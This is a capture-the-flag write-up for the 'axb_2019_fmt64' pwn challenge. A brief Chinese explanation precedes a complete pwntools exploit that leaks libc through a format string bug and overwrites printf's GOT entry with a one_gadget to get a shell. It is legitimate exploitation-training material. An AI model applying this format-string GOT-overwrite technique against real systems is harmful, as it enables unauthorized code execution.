axb_2019_fmt64

axb_2019_fmt64

查看保护


格式化漏洞，没开pie，借助格式化打印出libc，有了libc和格式化漏洞，用格式化漏洞改printf为one_gadget即可。注意64位会被\x00截断。

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 25675)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_got = elf.got['puts']
printf_got = elf.got['printf']
strlen_got = elf.got['strlen']
sprintf_got = elf.got['sprintf']

p3 = b'%9$saaaa'+p64(sprintf_got)
r.sendlineafter('Please tell me:', p3)

sprintf_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('sprintf_addr = ' + hex(sprintf_addr))

libc = ELF('libc-2.23.so')
libc_base = sprintf_addr - libc.sym['sprintf']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one[0] + libc_base

p1=one_gadget&0xffff
p2=(one_gadget>>16)&0xffff

payload = b'%' + bytes(str(p1-9), encoding='utf-8') + b'c%12$hn'
payload += b'%'+ bytes(str(p2-p1), encoding='utf-8') + b'c%13$hn'
payload = payload.ljust(0x20, b'\x00')
payload += p64(printf_got) + p64(printf_got + 2)

r.sendline(payload)

r.interactive()